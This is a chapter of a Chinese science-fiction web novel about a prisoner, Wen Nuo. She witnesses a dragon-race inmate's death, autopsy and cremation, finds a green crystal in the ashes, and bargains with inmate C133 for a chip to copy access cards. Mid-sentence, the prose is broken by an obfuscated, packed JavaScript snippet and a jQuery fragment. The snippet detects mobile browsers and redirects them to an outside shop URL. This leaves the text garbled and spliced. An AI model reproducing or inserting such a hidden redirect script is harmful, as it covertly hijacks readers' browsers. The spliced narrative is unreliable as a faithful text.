李梦按下报警键的那一瞬间,整个七区徒然亮了起来。
原本暗红色的灯光转变为白炽灯,温诺眨了好几下眼睛,才勉强适应。
温诺再看过去,眼前骇人的绿色黏液依旧存在,正不断侵染着其后以扭曲姿势倒在地下的龙族。
从温诺的视角看去,似乎是在通过烤箱的玻璃,看着里面煎熬的食物,又或者是停尸间的抽屉,拉开来就是狰狞可怖的遗骸。
李梦按完警报,立即迈着大步跑到温诺身边。
她比较丰腴,又不常运动,再开口时已经喘了起来,声线更加紧绷,“待会来了人,你一句话都不要多说。”
李梦似乎是知道什么,但温诺还没来得及问她,走廊两端已经闯进来了许多人。
鱼贯而入的,有部分是穿着统一制服的狱警,但不止于此,紧随其后的,是一群蒙面、身负金属外骨骼的星际士兵。
他们不仅手持枪械,腰间也装备着各种战术武器。
看起来比温诺从前学校门口的保安大爷专业多了。
“又死一个。”
为首的狱警用手电照了照昏暗的格子内部,没有贸然打开。
温诺的精神力察觉到,围城一圈、保持警惕的星兵们,他们身上的外骨骼,以及手中的枪械,都如同端脑一般对温诺的精神力产生了共鸣。
怪不得说精神力很重要,觉醒了精神力,连当保镖的装备都更加完备。
“也是喷射性呕吐。”
另一人皱眉,显然是对眼前的场景极为嫌恶。
“说,怎么回事。”
狱警语气带着明显的质问。
李梦明显抖了一下,慌忙接话,“我们...我们就正常清扫,打开他的垃圾槽时,这个龙族突然醒来、抽搐...然后就这样了。”
“你说。”
狱警指向温诺。
“看到他第一眼是什么样子。”
见温诺被提问,李梦比温诺本人都要紧张。
但好在温诺只是实话实说,“他和其他龙族一样,都是仰躺休眠,没有动作。”
狱警自然对囚犯没有过多的信任,他们又查了监控,结果显示和温诺二人说的一样。
“已经没有生命体征了,叫法医过来吧。”
狱警头头问完了话,查完了监控,又在端脑的电子屏上签了不少页的名字,这才大发慈悲地宣告。
不知道里头的龙族,是在报警那一刻就已经死了,还是被这一左一右的流程拖没了呼吸。
但更让温诺感到诡异的是,哪怕周围发生了这么大动静,其余格子里的龙族依旧平稳地沉睡。
“法医过来收尸,你们两个负责把周围清扫干净。”
这又脏又臭又累的活便落到了二人头上,李梦叫苦不迭,温诺还没有意识到事情的严重。
直到一头银发的年轻法医走来,微笑藏在口罩下,动作轻松地打开装有龙族尸体的玻璃门。
一股难以言喻的恶臭扑鼻而来。
温诺一瞬间便被熏得涕泪横流,像是鼻腔眼眶中都被撒上了朝天椒,已然超脱出味觉,而是实打实的痛觉。
太臭了。
人类死亡后需要腐烂数月才能达到的效果,龙族却可以立即达到,不愧是与人类不同的宇宙高等生命,大自然还真是巧夺天工。
温诺被熏得已经开始胡思乱想了。
之前的大批狱警和星兵早就跑光了,只留下温诺、李梦,以及收尸的法医,在这里受苦。
高跟鞋清脆规律的声响从远处传来。
李梦余光瞟见,随即一个激灵,“典狱长。”
与此同时,带着口罩手套的法医正在使唤温诺,“帮我把裹尸袋展开。”
什么长?
温诺的注意力被分散,没有听清楚李梦在喊什么。
借着蹲下干活的动作,温诺再次看见了没收了绿色宝石的女人。
今天她的打扮依旧精致又干练,栗色的波浪卷发垂在肩后,随着动作摇摆。
她的红唇微张,嘴角带着笑,“白观晏,又便宜了你。”
法医笑了下,不咸不淡地应声,“陈叶,你不要得了便宜还卖乖。”
两人打着哑谜,温诺听着一头雾水。
但就法医白观晏一刻不停地拿出样本瓶收集各种样本,而陈叶只是站在旁边指点的态势来看,陈叶应该是白观晏的上级。
什么长,难道是校长。
温诺感觉自己无师自通了真相。
陈叶的丹凤眼上挑,富有气质,面容白净大气,浑身上下都透露着事业女人四个大字。
没错了,她一定是校长。
不久后或许温诺会为了现在的以貌取人而痛苦。
但眼下,她已然被尸臭熏成了单线程生物。
白观晏提取了龙族的呕吐物和血液样本还不够,又从随身携带的工具箱中抽出一根长针,他一手握住龙族的下颌,迫使其张口,随后长针深入,抵住上颚。
正当温诺不明所以时,白观晏手下用力,长针猛然扎穿龙族的上颚。
上颚后面就是柔软的大脑。
温诺眼睁睁地看着白观晏操作,随后淅淅沥沥的液体顺着长针的孔洞流了出来。
白观晏慢条斯理地拿出样品瓶,将液体收集了起来。
他甚至还有闲心同温诺科普,“你知道吗,正常人类的脑脊液是清亮透明色的。”
而眼下从龙族脑袋内取出的,却是透亮的绿色,没有呕吐物那般黏腻浑浊,但绿色又不似正常,反倒像是超市里售卖的青苹果汽水。
“行了,动作快点。”
陈叶似乎没有什么耐心,嘱咐了两句将样品送走的话后先一步离开。
白观晏还微笑着同她告别,随后整理好一工具箱的样品离开。
走之前,他回头俯视着蹲在地上擦地的温诺与李梦,语气温和,却无端森然,“好好打扫,别忘了将尸体投入焚化炉哦。”
浓烈的不安感笼罩在温诺心头。
龙族虽然不是人类,但也是一种能够与人类无障碍交流的高等智慧生命,现在一个生命死去,他们如此草草处理是对的吗,难道不需要通知家属、行葬礼吗。
见人都走了,李梦一直紧绷的神经终于松懈下来,她必须得说些什么放松一下。
“你知道,在龙族星系,他们的族人死掉都是怎么处理的吗?”
“怎么处理的?”
温诺没有不接话的理由。
“他们会将族人在太阳下暴晒数日,直到□□变成肉干,然后分食而之。”
“嘶!”
温诺意识到自己听到了什么之后,瞬间神经炸开,从耳膜开始,一路火花带闪电直至尾椎骨。
温诺无端出了一身冷汗。
这一刻,温诺似乎终于意识到,龙族之所以被称为龙族,而不是xx星人的原因。
他们的善恶观、道德体系,和人类可以说是相差甚远。
对于龙族来说,死后接受不休不止的日照是无上的荣耀,而炙烤过的□□回馈给族群,更是奉献精神的象征和对族群的爱意。
多么崇高的理想。
温诺一阵恶寒。
温诺闭口不提焚化一举的不人道和鲁莽。
“他好烫啊。”
温诺和李梦合力抬起裹尸袋,即便隔着袋子,温诺也能感觉到掌下的躯体正散发着热意。
“龙族是这样的,即便是最低等的血统,体温也有四十多度,并且死后能够长时间维持这个温度,直到进入同伴的肚子里。”
温诺看着焚化炉内的火焰燃烧。
再坚实有力的躯体也扛不过永远炙热的火焰,□□在焚化炉内发出烤肉般的声响,表面逐渐变黑,直到彻底失去水分,开始解体,化为灰烬。
第一次直观面对这样的场景,温诺心中的震撼难以言喻。
“走吧。”
李梦催她。
饭点快到了,再者,太过沉溺于兔死狐悲的情绪,可不是狱中的正确生存之道。
温诺却突然叫住了她,“等等。”
“请无关人员迅速离开,请无关人员迅速离开。”
眼看到了夜间熄灯时间,头顶的广播开始催促。
一丝不起眼的绿色从焚化炉内部闪过,温诺定睛看去,在龙族焚烧的灰烬堆里,竟然出现了如同绿色宝石一般的结晶。
那结晶只有半个指甲盖大小,藏在灰烬之中,很不容易看清。
温诺还想凑近去看,但焚化区域的大门已经闪烁着警报即将关闭,李梦赶忙拉着温诺狂奔,赶在最后一刻从卷闸门下钻了出去。
“到底怎么了?”
李梦喘着粗气,不得不询问温诺。
温诺张了张嘴,眼神木讷,似乎仍然没有从方才的场景中抽离出来。
她最后什么也没说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311729|198884||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,只是借口今天被吓到了。
这晚温诺陷入了失眠。
一个不得不引入深思的现实横旦在她眼前。
陈叶没收了绿色宝石,却没有将宝石还给轩云生物。
因为温诺这些天监控星网,发现并没有任何一条消息指向轩云生物已经找到了他们丢失的样本。
毫不客气地说,温诺仍然处在被全网通缉的处境,甚至于舆论越演越烈,连边缘星系出现不知名口疫,导致数人重病身亡的惨剧也被算在了温诺头上。
纵使她有再大能耐,可一个高中生如何能左右疾病、夺人性命,星网上夸大其次,普通网民们也只会一味跟风,没有人在乎真相,更没有人调查真相。
大家只是需要一个情绪的宣泄口罢了。
说回陈叶,对方似乎并不知道温诺曾是那块绿色宝石的拥有者,至少,今天在七区时,陈叶没有半分注意落在温诺头上。
而焚化炉内的场景还回放在眼前。
如果龙族死去就可以产生类似的结晶,轩云生物为何将所谓的生物样品夸大得如此重要,陈叶拿到手的石头,在她看来究竟是丢失的重要样本,还只是龙族遗骸。
又或者,龙族死亡、产生结晶,并不寻常,有人正沉默地在幕后推动着这一切,是知道秘密却不言明的陈叶,还是亲手解剖龙族的白观晏,又或者,将龙族丢进焚化炉的温诺本人,也成了计划中必不可少的一环。
真相扑朔迷离。
温诺绝无坐以待毙的可能。
“你说你想要什么?”
C133紫色眼眸笑意渐退,一顺不瞬地紧盯着温诺,似乎是在分辨她话语的真假。
但温诺依旧重复地肯定,“我想要自由出入一区,包括他们的房间。”
“呵,有意思。”
C133突然笑了,狐狸般的眼睛再度弯曲起来。
“你看看你的衣服。B168,那个不是你能去的地方。”
C133提醒温诺的这句话具有两重意思。
一是温诺是犯人,怎么可能同狱警一样大摇大摆进入一区。二是温诺并没有什么战斗力,进到一区,对于那些真正的A、B级囚犯来说,无疑于绵羊入虎穴,有无数种的死法,甚至生不如死。
但温诺,她早就对这种以成绩将学生分为A、B、C、D四等的学校作风感到不爽了,只是之前的成绩差异而已,居然将A级的学生宠成了皇帝般的待遇,不仅有双人间,甚至一日三餐送到嘴边,还可以在宿舍原地上课,都不用去教室。
听食堂送餐的“同学”说,那些A级总是在他们去送餐时,各种语言和肢体暴力威胁他们,甚至有一名同学的胳膊都被抓了个大口子。
温诺对这一切都很是看不惯。
眼下C133的口气,显然是这分级制度的拥护者,温诺眼眸微眯,盯着他。
C133莫名从温诺的黑色眼珠中读出了危险的味道。
奇怪,刚来时天真稚嫩的女孩,怎么能够让他产生害怕的情绪。
温诺叹了口气,“C133,我还不想说出,是谁给我的纸条。”
她在威胁自己,这个认知让C133心中产生一种近乎扭曲的快意。
他的笑容更加扩大了几分,可以说是亲切到渗人。
“我当然可以帮你,B168,但礼尚往来,你也要帮我做件事。”
“你说。”
温诺不动声色。
“有位A级的兄弟曾经放了我的鸽子,我想让他和我道歉,你能帮忙吗?”
C133说这话时,眼神直勾勾地盯着温诺,笑意消失,一向玩味的气场陡然变得肃穆。
温诺不明所以,但还是答应了。
“当然,如果是他的错的话,我当然可以帮忙,让他和你道歉。”
“那就再好不过了。”
冷戾的神情转瞬即逝,C133很快恢复了之前的微笑,紫眸和煦地微眯着。
“你有端脑吧,B168,把这个程序植入你的端脑,再伺机接触一张可以出入各种门禁的端脑,你的端脑便可以复写其中的代码。”
一个只有半个指甲盖大小、极薄的黑色芯片被递到温诺手心。
C133冷冷地看着温诺离开时欢快的背影,他靠坐在床旁,阴影覆盖住他的大半张脸,只露出半个如狐狸般尖瘦的下巴。
他轻轻呢喃,“一区,那可是条不归路啊。”